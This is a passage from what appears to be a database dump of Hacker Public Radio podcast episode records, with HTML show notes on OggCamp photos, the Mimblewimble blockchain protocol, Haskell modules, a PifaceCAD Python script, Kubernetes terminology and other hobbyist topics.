in progress.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_132909Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_132909Z-small.jpg\"></a><br />\r\nTools for making guitar, including the tool to round the frets.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_132913Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_132913Z-small.jpg\"></a><br />\r\nAnd of course you need a guitar stand.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_132918Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_132918Z-small.jpg\"></a><br />\r\n<a href=\"https://efguitars.s3.amazonaws.com/fretboard-generator.html\">Fretboard Template Generator</a> available on <a href=\"https://github.com/mdales/Fretboard-generator\">GitHub</a>\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_101726Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_101726Z-small.jpg\"></a><br />\r\nTai Kedzierski hanging out with \"Grumpy\" Mike Cook.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_101754Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_101754Z-small.jpg\"></a><br />\r\nMike produces electronic musical instruments for people with accessibility issues.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_103658Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_103658Z-small.jpg\"></a><br />\r\nHe also has a book called <a href=\"https://www.apress.com/gp/book/9781484217207\">Arduino Music and Audio Projects</a> to help you do this yourself.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_103704Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_103704Z-small.jpg\"></a><br />\r\n<em>\r\nAt <a href=\"https://www.drakemusic.org/\">Drake Music</a> we are leaders in music, disability and technology.<br />\r\nWe are innovators, educators, curators and advocates. We believe everyone has the right to express themselves creatively through music. We use new technologies and ideas to open up access to music for all. Our vision is a world where disabled and non-disabled musicians work together as equals.</em>\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_103728Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_103728Z-small.jpg\"></a><br />\r\nThe <em>bat base</em>.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_103744Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_103744Z-small.jpg\"></a><br />\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_103749Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_103749Z-small.jpg\"></a><br />\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_103821Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_103821Z-small.jpg\"></a><br />\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_103722Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_103722Z-small.jpg\"></a><br />\r\nThe <em>Cattle Caster</em>.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_103713Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_103713Z-small.jpg\"></a><br />\r\nThe <em>Arduino Caster</em>\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_105735Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_105735Z-small.jpg\"></a><br />\r\nThe <a href=\"https://www.openrightsgroup.org/\">Open Rights Group</a>.<br />\r\n<em>\r\n<a href=\"https://www.openrightsgroup.org/ourwork/\">Open Rights Group</a> protects the digital rights of people in the UK including privacy and free speech online. We are funded by over <a href=\"https://www.openrightsgroup.org/join/\">3,000 people like you</a>.\r\n</em>\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_115630Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_115630Z-small.jpg\"></a><br />\r\n<a href=\"https://manchestergreyhats.co.uk/\">Manchester Grey Hats</a><br />\r\n<p>Manchester Grey Hats is a place for all those interested in hacking and cyber security to learn and share. We run capture the flags, workshops and perform/present security research.</p>\r\n<p>We encourage all skill levels and those from all backgrounds. Are you an aspiring hacker or a developer thinking about security? Come along and learn. Presenting is open to all members, so if you have something you’d like to present but aren’t ready for the big conferences, get in touch.</p>\r\n\r\n<p>Said best by The Mentor – “This is our world now… the world of the electron and the switch, the beauty of the baud”</p>\r\n\r\n<p>Although we meet face to face once a month, MGH is mostly an online community. We encourage people to join us in person for workshops and events but if you can\'t, join us on Slack and our live stream.</p>\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_115639Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_115639Z-small.jpg\"></a><br />\r\nAn example of the of the locks that needed to be picked for the FlawCon Capture the Flag event.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_115654Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_115654Z-small.jpg\"></a><br />\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_115701Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_115701Z-small.jpg\"></a><br />\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_115719Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_115719Z-small.jpg\"></a><br />\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_115905Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_115905Z-small.jpg\"></a><br />\r\nHow to hold the lock while you are picking it.\r\n</p>\r\n',30,78,0,'CC-BY-SA','OGGCamp, FSFE, Matrix, BlackEdge, mystorm, blackice, fswebcam, android, sshpass',0,0,1),
(2947,'2019-11-19','The Mimblewimble Protocol',1261,'mimblewimble is a new blockchain protocol for scalability, privacy and fungibility','<p>Financial privacy is critical for adoption of cryptocurrency as a means of exchange. Individuals worry about employers monitoring their spending details, insurers increasing rates based on purchases and landlords raising rents when they get a promotion. Businesses can only operate using cryptocurrency if they can prevent disclosure of vendor payments, rates paid to suppliers, payroll details, and so on. At the same time, they need to selectively disclose financial data to governments and might need to demonstrate compliance in some industries.</p>\r\n<p>Mimblewimble is a new protocol that uses cryptography to achieve striking reductions in blockchain size, so users can run a full node on low powered devices like phones. It offers the strongest privacy protection assurances around, through a variety of clever tricks. For one thing, transaction history is not recorded, which also results in a smaller blockchain. There are no addresses and no transaction amounts are recorded.</p>\r\n<p>We’re not going to focus on the cryptography, although it’s a fascinating example of just how much progress is being made in recent years. We’ll focus instead on what makes this mysterious network protocol unique among cryptocurrencies.</p>\r\n',379,110,0,'CC-BY-SA','blockchain, privacy',0,0,1),
(2954,'2019-11-28','Wrestling As You Like It episode 1',462,'A Wrestling podcast reporting on indie wrestling. Today we are talking about different TV styles.','<p>TV and pro wrestling go hand in hand. Both have fed off of each other, and with the internet we are now exposed to many different promotions with their own visual style in order to broadcast wrestling in the ring.</p>\r\n',354,0,1,'CC-BY-SA','Pro Wrestling',0,0,1),
(2949,'2019-11-21','Grin and Beam: The 2 major mimblewimble blockchains',1387,'Grin and Beam are two mimblewimble implementations that are very different & we take a look at both','<p>Last time we reviewed the mimblewimble protocol for blockchain networks. This is an innovative protocol focused on privacy and scalability.</p>\r\n<p>In this episode we take a closer look at the two major implementations of mimblewimble, called Grin and Beam. They are both interesting projects that take very different approaches, yet both have managed to launch working blockchains that preserve the core strengths of the protocol.</p>',379,110,1,'CC-BY-SA','blockchain, privacy',0,0,1),
(2960,'2019-12-06','Dehydrated Foods',835,'Dehydrating your own fruits and vegetables for healthy snacks','<p>I have begun to dehydrate fruits and vegetables at home with my own dehydrator, and it lets me have fresher products without all of the additives. In this episode I discuss both the why and the how.</p>\r\n<ul>\r\n<li><a href=\"https://www.mayoclinic.org/tests-procedures/a1c-test/about/pac-20384643\" class=\"uri\">https://www.mayoclinic.org/tests-procedures/a1c-test/about/pac-20384643</a></li>\r\n<li><a href=\"https://www.webmd.com/food-recipes/news/20090323/7-rules-for-eating#1\" class=\"uri\">https://www.webmd.com/food-recipes/news/20090323/7-rules-for-eating#1</a></li>\r\n<li><a href=\"https://www.amazon.com/NESCO-FD-37A-Dehydrator-Speckled-Marbled/dp/B00CS5ZI6G\" class=\"uri\">https://www.amazon.com/NESCO-FD-37A-Dehydrator-Speckled-Marbled/dp/B00CS5ZI6G</a></li>\r\n<li><a href=\"https://www.rei.com/blog/hike/how-to-dehydrate-food\" class=\"uri\">https://www.rei.com/blog/hike/how-to-dehydrate-food</a></li>\r\n<li><a href=\"https://smile.amazon.com/Beginners-Guide-Dehydrating-Food-2nd/dp/1635860245/ref=sr_1_1?keywords=The+Beginner%27s+Guide+to+Dehydrating+Food%2C+2nd+Edition%3A+How+to+Preserve+All+Your+Favorite+Vegetables%2C+Fruits%2C+Meats%2C+and+Herbs&amp;qid=1570990745&amp;s=books&amp;sr=1-1\">https://smile.amazon.com/Beginners-Guide-Dehydrating-Food-2nd/dp/1635860245/ref=sr_1_1?keywords=The+Beginner%27s+Guide+to+Dehydrating+Food%2C+2nd+Edition%3A+How+to+Preserve+All+Your+Favorite+Vegetables%2C+Fruits%2C+Meats%2C+and+Herbs&amp;qid=1570990745&amp;s=books&amp;sr=1-1</a></li>\r\n<li><a href=\"https://addapinch.com/homemade-ranch-seasoning-mix-recipe/\" class=\"uri\">https://addapinch.com/homemade-ranch-seasoning-mix-recipe/</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=674\" class=\"uri\">https://www.palain.com/?page_id=674</a></li>\r\n</ul>',198,100,0,'CC-BY-SA','Health, Diet',0,0,1),
(2958,'2019-12-04','Haskell modules',1387,'tuturto talks about haskell modules','<p>With small programs it’s easy enough to have all code in single file. But as the program grows, you eventually want to organize things into separate files. In this episode I’ll talk a bit how to define modules and how to use them.</p>\r\n<h2 id=\"defining\">Defining</h2>\r\n<p>Each module is defined in separate file. In our example, we have file called <code>multiplexer.hs</code>, which contains our module definition.</p>\r\n<p>At the beginning of the file, we have following:</p>\r\n<pre><code>module Multiplexer (mix, match, Plexer, Scooper(..))\r\n  where\r\n  ....</code></pre>\r\n<p>We’re omitting actual function and type definitions as they aren’t important to this episode. In any case, there’s two functions: <code>mix</code> and <code>match</code> and two types: <code>Plexer</code> and <code>Scooper</code> that module exports (that is, these are available outside of the module). <code>Plexer</code> is imported as a type only and <code>Scooper</code> with field accessors or value constructors depending if it’s a record or algebraic datatype.</p>\r\n<h2 id=\"using-modules\">Using modules</h2>\r\n<p>In order to be able to use identifiers defined in separate module, we have to import them into our current one. In our imaginary program, we have <code>main.hs</code> that defines entry point for our program and we would like to import the definitions from <code>Multiplexer</code> module.</p>\r\n<p>Easiest one is to just have <code>import Multiplexer</code> at the start of the <code>main</code>. This brings all exported identifiers from <code>Multiplexer</code> and we can then use them. Both qualified and unqualified names are imported. Qualified means name is prepended with module name: <code>Multiplexer.mix</code> instead of just <code>mix</code>.</p>\r\n<p>If we want, we can specify what exactly should be imported: <code>import Multiplexer (mix, match)</code>. This causes only functions <code>mix</code> and <code>match</code> be imported, while <code>Plexer</code> and <code>Scooper</code> are unavailable for us. Again, both qualified and unqualified names are imported.</p>\r\n<p>In case we want only qualified names, we’ll write <code>import qualified Multiplexer</code>. After this <code>mix</code> isn’t available, but <code>Multiplexer.mix</code> is (and all the other identifiers exported by <code>Multiplexer</code>).</p>\r\n<p>Sometimes module name is long and tedious to repeat when using qualified names. In these cases, renaming module while importing is a good option. This can be done by writing <code>import Multiplexer as M</code>. After this, instead of <code>Multiplexer.mix</code> you write <code>M.mix</code>.</p>\r\n<p>Final thing I’m going to mention is importing everything else except specified identifiers. This is done by writing <code>import Multiplexer hiding (mix)</code>. This imports everything exported by <code>Multiplexer</code>, except <code>mix</code>.</p>\r\n<h2 id=\"summary\">Summary</h2>\r\n<p>There are many ways of importing and they can be mixed. Here’s a list of them:</p>\r\n<ul>\r\n<li><code>import Multiplexer</code></li>\r\n<li><code>import Multiplexer ()</code></li>\r\n<li><code>import Multiplexer (mix, match, Plexer, Scooper(..))</code></li>\r\n<li><code>import qualified Multiplexer</code></li>\r\n<li><code>import qualified Multiplexer (mix, match, Plexer, Scooper(..))</code></li>\r\n<li><code>import Multiplexer hiding (mix, match)</code></li>\r\n<li><code>import qualified Multiplexer hiding (Plexer, Scooper)</code></li>\r\n<li><code>import Multiplexer as M</code></li>\r\n<li><code>import Multiplexer as M (mix, match)</code></li>\r\n<li><code>import qualified Multiplexer as M</code></li>\r\n<li><code>import qualified Multiplexer as M (Plexer, Scooper(..))</code></li>\r\n</ul>\r\n<p>In short:</p>\r\n<ul>\r\n<li>Some identifiers can be chosen to be imported, while leaving others unimported</li>\r\n<li>Modules can be imported qualified (forcing an obligatory namespace qualifier to imported identifiers).</li>\r\n<li>Some identifiers can be skipped via the hiding clause.</li>\r\n<li>The module namespace can be renamed, with an as clause.</li>\r\n</ul>\r\n<h2 id=\"prelude\">Prelude</h2>\r\n<p>Prelude is base module containing lots of helpful types and functions, which is automatically imported by every module. If this is not what you want, there’s two options. First one is to use pragma at start of the file: <code>{-# LANGUAGE NoImplicitPrelude #-}</code>, which causes <code>Prelude</code> not to be imported. Another one is to manually import <code>Prelude</code>, which turns of automatic import: <code>import qualified Prelude as P</code>.</p>\r\n<h2 id=\"closing\">Closing</h2>\r\n<p>When system grows, it’s helpful to break it into more manageable pieces. For this we use modules. <code>import</code> is used to bring identifiers from other modules into current one.</p>\r\n<p>Questions, comments and feedback is welcomed. Best way to reach me is either email or in fediverse where I’m <code>tuturto@mastodon.social</code></p>\r\n',364,107,0,'CC-BY-SA','haskell, modules',0,0,1),
(2951,'2019-11-25','A walk through my PifaceCAD Python code – Part 2',888,'In this episode I cover some generic functions at the top of the code.','<h2 id=\"code\">Code</h2>\r\n<p>The script being discussed in this show is available for download with this show: <a href=\"https://hackerpublicradio.org/eps/hpr2951/cad-menu.py\">cad-menu.py</a></p>\r\n<h2 id=\"generic-functions\">GENERIC FUNCTIONS</h2>\r\n<ul>\r\n<li><code>def get_hpr_que():</code><br />\r\nGoto hacker public stats page and extract the number of days to next free slot turns on blinkstick LED with colour dependent on the number of days to next free slot in HPR queue prints number of days to next free slot to the display</li>\r\n</ul>\r\n<h2 id=\"generic-blinkstick-functions\">GENERIC BLINKSTICK FUNCTIONS</h2>\r\n<ul>\r\n<li><p><code>def bstick_off():</code><br />\r\nSearch for all attached blinksticks and turn them all off</p></li>\r\n<li><p><code>def bstick_on(colour):</code><br />\r\nTurn blinkstick on and set led colour to string value stored in var colour. valid colours are, black, silver, gray, white, maroon, red, purple, fuchsia, green, lime, olive, yellow, navy, blue, teal, aqua</p></li>\r\n<li><p><code>def bstick_on_random():</code><br />\r\nTurn blinkstick on colour random</p></li>\r\n<li><p><code>def bstick_blink(colour):</code><br />\r\nTurn blinkstick on with supplied colour</p></li>\r\n</ul>\r\n<h2 id=\"end-blinkstick-functions\">END BLINKSTICK FUNCTIONS</h2>\r\n<ul>\r\n<li><p><code>def run_cmd(cmd):</code><br />\r\nUsed to run an external linux command</p></li>\r\n<li><p><code>def get_my_ip():</code><br />\r\nReturns ip address</p></li>\r\n<li><p><code>def get_my_essid():</code><br />\r\nReturns wifi ESSID</p></li>\r\n<li><p><code>def get_my_wifi_strength():</code><br />\r\nReturns wifi signal strength as a percentage</p></li>\r\n<li><p><code>def wait_for_ip():</code><br />\r\nTries 10 times to get IP address</p></li>\r\n<li><p><code>def show_wifi_info():</code><br />\r\nShow WiFi information on display, shows essid on first line and both the wifi signal strength as a percentage and ip address on the second line.</p></li>\r\n<li><p><code>def custom_bitmaps():</code><br />\r\nSelection of custom bitmaps to use on LCD display</p></li>\r\n<li><p>Article in pifacecad documentation giving details about creating custom bitmaps on the pifacecad<br />\r\n<a href=\"https://piface.github.io/pifacecad/creating_custom_bitmaps.html\" class=\"uri\">https://piface.github.io/pifacecad/creating_custom_bitmaps.html</a></p></li>\r\n<li><p>This tool referenced in the pifacecad documentation link above can help design custom bitmaps. Make sure you select 5x8<br />\r\n<a href=\"https://www.quinapalus.com/hd44780udg.html\" class=\"uri\">https://www.quinapalus.com/hd44780udg.html</a></p></li>\r\n<li><p><code>def writelongstring(longstring):</code><br />\r\nWrites a long string to the piface control and display LCD &amp; scrolls it to the left until the last character appears on the right hand side of the screen</p></li>\r\n</ul>\r\n<pre><code># Local Variables (for function writelongstring)\r\nDisplaySize = 15\r\n# Number of characters  that can be displayed on 1 line of display\r\n\r\nStepSize = 4\r\n# Step size when scrolling message on display\r\n\r\nScrollSpeed =   0.55\r\n# Adjusts scroll speed, delay in seconds between scrolls\r\n\r\nScroll = 0\r\n# Default value for scroll, used when string is smaller than display size</code></pre>\r\n<ul>\r\n<li><p><code>def init_display():</code><br/>\r\n# Setup LCD display for selected menu 0 (Podcasts), 1 (Audiobooks), 2 (System)</p></li>\r\n<li><p><code>def display_main_menu(event):</code><br/>\r\n# Clear LCD &amp; dsplays the appropriate main menu message</p></li>\r\n</ul>\r\n',201,38,1,'CC-BY-SA','Podcasts, Linux, Command Line, Python, Raspberry Pi',0,0,1),
(2952,'2019-11-26','Publishing your book using open source tools',1562,'How I evolved from writing with a publisher to self-publishing using open source tools','<p>Printing on demand website: <a href=\"https://www.lulu.com\" class=\"uri\">https://www.lulu.com</a></p>',369,0,0,'CC-BY-SA','asciidoc,asciidoctor,lulu,writing,books',0,0,1),
(2953,'2019-11-27','How I got started in Linux',276,'How I start in Linux, computing, and Free Software','<p>Osdisc.com is the website that I mentioned while distro hopping. Unfortunately, as of August 2019, their site is no longer sending CD’s/DVD’s.</p>\r\n<p>How I recorded:<br />\r\nAndroid phone, lapel mic, and Audio Recorder app found here:</p>\r\n<p><a href=\"https://play.google.com/store/apps/details?id=com.github.axet.audiorecorder\" class=\"uri\">https://play.google.com/store/apps/details?id=com.github.axet.audiorecorder</a></p>\r\n<p>And here:</p>\r\n<p><a href=\"https://f-droid.org/en/packages/com.github.axet.audiorecorder/\" class=\"uri\">https://f-droid.org/en/packages/com.github.axet.audiorecorder/</a></p>\r\n',318,29,0,'CC-BY-SA','Linux, FreeBSD, Computers',0,0,1),
(2957,'2019-12-03','Lord D\'s Film Reviews: Ever',1025,'Lostnbronx reviews a recent drama/romance.','<p><b>Ever</b><br />\r\nWritten/Directed by Josh Beck<br />\r\nStarring Wendy McColm &amp; Christina Elizabeth Smith<br />\r\nCinematography by Micah Van Hove<br />\r\nRunning Time: 1:37:42</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=5F-XfwIvmMg\" class=\"uri\">https://www.youtube.com/watch?v=5F-XfwIvmMg</a></p>\r\n<p>A young woman named Ever, while grieving over a devastating loss, meets Emily, who helps her to heal and find love again.</p>\r\n',107,109,0,'CC-0','review, film, lord d',0,0,1),
(2959,'2019-12-05','Interview with Josh Clements about gpodder.net ',2314,'What starts as an Interview and ends in a brain storm.','<p>\r\nIn today\'s show Ken interviews Josh Clements from the <a href=\"https://gpodder.net\">gpodder.net</a> project.\r\n</p>\r\n<p>\r\nJosh answered the <a href=\"https://github.com/gpodder/mygpo/blob/master/maintainer-needed.md\">call to arms</a> he heard on the <a href=\"https://ubuntupodcast.org/2019/08/08/s12e18-pilotwings/\">Ubuntu Podcast</a>. We discuss <em>the plan</em> and explain how you can also get involved.\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://github.com/gpodder/mygpo/blob/master/maintainer-needed.md\">https://github.com/gpodder/mygpo/blob/master/maintainer-needed.md</a></li>\r\n<li><a href=\"https://ubuntupodcast.org/2019/08/08/s12e18-pilotwings/\">https://ubuntupodcast.org/2019/08/08/s12e18-pilotwings/</a></li>\r\n<li><a href=\"https://github.com/gpodder/\">https://github.com/gpodder/</a></li>\r\n<li><a href=\"https://gpodder.github.io/docs/mailing-list.html\">https://gpodder.github.io/docs/mailing-list.html</a></li>\r\n<li><a href=\"https://feeds.gpodder.net/\">https://feeds.gpodder.net/</a></li>\r\n<li><a href=\"https://prgmr.com/xen/\">https://prgmr.com/xen/</a></li>\r\n<li><a href=\"mailto:support@gpodder.net\">support@gpodder.net</a></li>\r\n</ul>\r\n',30,78,0,'CC-BY-SA','gpodder.net, Josh Clements',0,0,1),
(2961,'2019-12-09','Kubernetics / Cloud - Terminology',664,'We talk about terms often used when using Kubernetes','<p>We talk about terms often used when using Kubernetes.</p>\r\n<p>Terms we talk about</p>\r\n<ul>\r\n<li>Node - Machine to run jobs on.</li>\r\n<li>Cluster - Grouping of nodes to deploy work to.</li>\r\n<li>Container - Compute unit that we can run in the cloud</li>\r\n<li>Pod - One or more containers that are one unit in the cloud that could be started, stopped, or restarted.</li>\r\n<li>Service - Different network services that serve the pods\r\n<ul>\r\n<li>Load balancers - Balance network calls to different pods</li>\r\n<li>Certmanager - Handles certificates, for instance, let’s encrypt.</li>\r\n<li>Ingress - Handles traffic from the external network</li>\r\n</ul></li>\r\n<li>Volumes - External resources used by pods to keep state</li>\r\n<li>ConfigMap - Configuration parameters that could be changed without restarting the pods or deployment.</li>\r\n<li>Deployment - A configuration of all the terms mentioned that you use to deploy as a unit to the cluster.</li>\r\n</ul>\r\n',382,0,0,'CC-BY-SA','kubernetics, basic, terminology',0,0,1),
(2968,'2019-12-18','Life and Times of a Geek part 3',2441,'Part 3 of my personal story of experiences with computers','<h2 id=\"introduction\">Introduction</h2>\r\n<p>In the last part of my story (show <a href=\"https://hackerpublicradio.org/eps.php?id=1811\" title=\"Life and Times of a Geek part 2\">1811</a> in 2015) I told you about some of my experiences at the University of Manchester as a postgraduate student from around 1973.</p>\r\n<p>Today I want to talk a little more about my time in Manchester and mention some of the things I did that may be of interest to Hackers!</p>\r\n<h2 id=\"researching-for-the-episode\">Researching for the episode</h2>\r\n<p>As I have been researching for this HPR episode I realise how long ago some of these events were - in Internet years particularly. In many cases I could find no online records of places, equipment or people. This seems to be because any records there might be are on paper and have never made it online. I contacted a company that made some of the laboratory equipment I used that I thought might be of interest, and the person I contacted said that although he remembered what I was referring to the company had kept no records of it and had had to discontinue it due to modern safety concerns.</p>\r\n<p>I find this somewhat dispiriting and it makes me feel very very old!</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode. The HTML version can be <a href=\"https://hackerpublicradio.org/eps/hpr2968/full_shownotes.html\">viewed here</a> and the ePub version downloaded from <a href=\"https://hackerpublicradio.org/eps/hpr2968/full_shownotes.epub\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Building experimental apparatus:\r\n<ul>\r\n<li>Wikipedia page for <a href=\"https://en.wikipedia.org/wiki/Dexion\">Dexion</a> - for building metal structures</li>\r\n<li>Wikipedia page on the “<em>Skinner Box</em>” or <a href=\"https://en.wikipedia.org/wiki/Operant_conditioning_chamber\">Operant Conditioning Chamber</a></li>\r\n<li>“<em><a href=\"https://handytube.co.uk/\">Handy Tube</a></em>” used for making Skinner Boxes</li>\r\n</ul></li>\r\n<li>Video tape recorders:\r\n<ul>\r\n<li>The Rewind Museum <a href=\"https://www.rewindmuseum.com/reeltoreelvideo.htm\">reel-to-reel video recorders</a></li>\r\n<li>Wikipedia page on <a href=\"https://en.wikipedia.org/wiki/Video_tape_recorder\">Video tape recorders</a></li>\r\n<li>Youtube video about a <a href=\"https://www.youtube.com/watch?v=xwbMXqp0XtA\">Sanyo Reel to Reel Video Tape Recorder</a></li>\r\n</ul></li>\r\n<li>Logic programming:\r\n<ul>\r\n<li>Wikipedia page on the <a href=\"https://en.wikipedia.org/wiki/Logic_gate\">Logic Gate</a></li>\r\n<li>Wikipedia page on the (electronic) <a href=\"https://en.wikipedia.org/wiki/Flip-flop_(electronics)\">“<em>Flip-Flop</em>”</a></li>\r\n</ul></li>\r\n<li>D-MAC Digitiser:\r\n<ul>\r\n<li>StackExchange article discussing the <a href=\"https://history.stackexchange.com/questions/48789/what-is-this-d-mac-device\"><em>D-MAC</em></a> digitiser</li>\r\n</ul></li>\r\n<li>ICT (ICL) computers:\r\n<ul>\r\n<li>Wikipedia page on the <a href=\"https://en.wikipedia.org/wiki/ICT_1900_series\">ICT (ICL) 1900 series</a></li>\r\n<li>Wikipedia page on the <a href=\"https://en.wikipedia.org/wiki/GEORGE_%28operating_system%29\">ICL GEORGE operating system</a></li>\r\n</ul></li>\r\n<li>Teleprinter:\r\n<ul>\r\n<li>Wikipedia page on the <a href=\"https://en.wikipedia.org/wiki/Teletype_Model_33\">Teletype Model 33</a></li>\r\n</ul></li>\r\n<li>CDC computers:\r\n<ul>\r\n<li>Wikipedia page on the <a href=\"https://en.wikipedia.org/wiki/CDC_Cyber\">CDC Cyber range</a></li>\r\n</ul></li>\r\n<li>Wikipedia page on the <a href=\"https://en.wikipedia.org/wiki/APL_%28programming_language%29\">APL language</a></li>\r\n<li>Sinclair calculators:\r\n<ul>\r\n<li>Wikipedia page on the <a href=\"https://en.wikipedia.org/wiki/Sinclair_Scientific\">Sinclair Scientific</a></li>\r\n<li><a href=\"https://books.google.co.uk/books?id=FS6D5VL2qo4C&amp;pg=PA639#v=onepage&amp;q&amp;f=false\">New Scientist advertisement</a> December 1975</li>\r\n<li><a href=\"https://phils.bitboxes.co.uk/scan_and_ocr/manuals/sinclair_scientific/\">Sinclair Scientific operating instructions</a> [<em>This link might be dead; try the archive.org one below</em>]\r\n<ul>\r\n<li><a href=\"https://web.archive.org/web/20141021211903/https://phils.bitboxes.co.uk/scan_and_ocr/manuals/sinclair_scientific/\" class=\"uri\">https://web.archive.org/web/20141021211903/https://phils.bitboxes.co.uk/scan_and_ocr/manuals/sinclair_scientific/</a></li>\r\n</ul></li>\r\n<li><a href=\"https://files.righto.com/calculator/sinclair_scientific_simulator.html\">Sinclair Scientific simulator</a></li>\r\n<li><a href=\"https://www.vintagecalculators.com/html/sinclair1.html\">Vintage Calculators</a></li>\r\n<li><a href=\"https://www.calculator.org/rpn.aspx\">Reverse Polish Notation</a></li>\r\n</ul></li>\r\n<li>Previous episodes:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1664\"><em>Life and Times of a Geek</em> part 1</a> (2014-12-18)</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1811\"><em>Life and Times of a Geek</em> part 2</a> (2015-07-13)</li>\r\n</ul></li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2968/full_shownotes.html\">Full show notes</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2968/full_shownotes.epub\">ePub show notes</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,29,1,'CC-BY-SA','video recorder,Skinner box,logic gate,digitiser,Dobbie McInnes,Data General,teletype,Cyber-72,APL,Si',0,0,1),
(2975,'2019-12-27','SimpleScreenRecorder and Vidcutter',311,'Two useful applications to record a screen, and to chop and trim a video ','<p>In today’s show Ken talks about two small applications to make recording and trimming video easy.</p>\r\n<h3>What is SimpleScreenRecorder?</h3>\r\n<blockquote>\r\n<p>SimpleScreenRecorder is a Linux program that I’ve created to record programs and games. There were already a few programs that could do this, but I wasn’t 100% happy with any of them, so I created my own.</p>\r\n<p>My original goal was to create a program that was just really simple to use, but as I was writing it I started adding more and more features, and the result is actually a pretty powerful program. It’s ‘simple’ in the sense that it’s easier to use than ffmpeg/avconv or VLC, because it has a straightforward user interface.</p>\r\n</blockquote>\r\n<h3>What is VidCutter</h3>\r\n<blockquote>\r\n<p>The simplest &amp; sexiest tool for cutting and joining your videos without the need for re-encoding or a diploma in multimedia. VidCutter focuses on getting the job done using tried and true tech in its arsenal via mpv and FFmpeg.</p>\r\n</blockquote>\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.maartenbaert.be/simplescreenrecorder/\">SimpleScreenRecorder</a> Homepage</li>\r\n<li><a href=\"https://github.com/ozmartian/vidcutter\">vidcutter</a> Homepage</li>\r\n<li><a href=\"https://www.linuxandubuntu.com/home/vidcutter-linux-video-cutting-or-trimming-app\">VidCutter – Linux Video Cutting Or Trimming App</a> review on <a href=\"https://www.linuxandubuntu.com/\">Linux And Ubuntu</a></li>\r\n</ul>\r\n',30,0,1,'CC-BY-SA','SimpleScreenRecorder, Vidcutter, ffmpeg, ffprobe, mediainfo',0,0,1),
(2980,'2020-01-03','FLOSS Weekly 553 - Hacker Public Radio',4037,'Randal Schwartz and Aaron Newcomb featured HPR on FLOSS Weekly ','<p>On the 30th Oct 2019 <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Kevin O’Brien (Ahuka)</a> and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a> were interviewed about <a href=\"https://hackerpublicradio.org\">Hacker Public Radio</a> by <a href=\"https://twit.tv/people/randal-schwartz\">Randal Schwartz</a> and <a href=\"https://twit.tv/people/aaron-newcomb\">Aaron Newcomb</a> for <a href=\"https://twit.tv/shows/floss-weekly/episodes/553\">FLOSS Weekly 553</a>.</p>\r\n<p>This is that show and is released under a <a href=\"https://creativecommons.org/licenses/by-nc-nd/4.0/\">Creative Commons Attribution Non-Commercial No-Derivatives 4.0 International license</a>.</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://twit.tv/people/randal-schwartz\">https://twit.tv/people/randal-schwartz</a></li>\r\n<li><a href=\"https://twit.tv/people/aaron-newcomb\">https://twit.tv/people/aaron-newcomb</a></li>\r\n<li><a href=\"https://twit.tv/shows/floss-weekly/episodes/553\">https://twit.tv/shows/floss-weekly/episodes/553</a></li>\r\n<li><a 